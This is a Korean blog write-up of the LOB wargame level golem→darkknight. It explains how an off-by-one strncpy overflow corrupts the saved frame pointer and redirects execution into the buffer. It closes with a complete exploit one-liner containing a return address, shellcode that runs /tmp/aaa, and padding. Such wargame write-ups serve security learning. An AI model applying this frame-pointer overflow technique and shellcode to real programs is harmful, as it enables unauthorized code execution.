Post

LOB golem → darkknight - strncpy size overflow

golem - cup of coffee

void problem_child(char *src){char buffer[40];strncpy(buffer, src, 41);printf(“%s\n”, buffer); } main(int argc, char *argv[]){check argc<2…problem_child(argv[1]); }

problem_child라는 함수를 사용하는데, buffer크기는 40인데 strncpy에서 41byte를 복사한다. 확인해 보니, strncpy를 사용할 때 dest size보다 큰 size를 지정하면 Segmentation fault가 발생한다. * dest 마지막 entry의 null 유무와는 관련없다. * src 마지막 entry의 null 유무와는 관련없다. 왜 Segmentation fault가 발생하냐면, problem_child에서 buffer의 바로 아래에 x-ebp가 저장되어 있기 때문에 buffer의 범위를 넘어서서 복사할 경우 x-ebp가 훼손된다. 그래서 main으로 돌아왔을 때 ebp 레지스터에 훼손된 값이 들어오게 되고 , libc_start_main…으로 return하면서 fault가 발생한다. char buffer[40]; 위에 변수 하나를 선언할 경우 x-ebp가 아니라 그 변수가 훼손되므로 Segmentation fault는 발생하지 않는다.

아무튼 여기서는 ebp의 마지막 1byte를 변경할 수 있고 leave와 ret은 ebp를 기준으로 동작하기 때문에, 이를 이용해 BOF 할 수 있다.

leave : mov %ebp, %esp

pop %ebp

ret : pop %eip ( logical )

ebp가 가리키는 곳 + 4byte 지점이 ret address가 존재하는 곳이기 때문에 argv[1]에 shellcode와 retaddr를 넘긴 다음 argv[1]을 가리키도록 하거나 buffer를 가리키도록 하면 되는데, argv[1]은 좀 멀어서 마지막 1byte 조작으로는 부족하고, buffer를 가리키도록 할 수 있다.

buffer : 0xbffffac4 ~ 0xbffffaec 이므로 41번째(argv[40])에 \xc0를 적어 넘기면 ebp가 0xbffffac0. ebp + 4가 ret addr이니까 buffer - 4 byte가 ebp가 되도록 했다. argv 1번째 ~ 4번째가 ret addr가 들어가는 위치가 된다. 여기에 buffer의 5번째 byte ~ 의 주소(0xbffffac8)를 넘기면 buffer의 shellcode로 실행 흐름이 넘어오게 된다. buffer가 작아서 그냥 symlink 걸어 /tmp/aaa를 실행하도록 했다.

4(ret) + 24(shellcode) = 28이니까 12개 아무거나 출력하고 마지막에 \xc0 적으면 된다.

./darkknight perl -e 'print "\xc8\xfa\xff\xbf", "\x31\xc0\x50\x68\x2f\x61\x61\x61\x68\x2f\x74\x6d\x70\x54\x54\xb8\xe0\x8a\x05\x40\xff\xe0\x90\x90", "a"x12, "\xc0"'

This post is licensed under CC BY 4.0 by the author.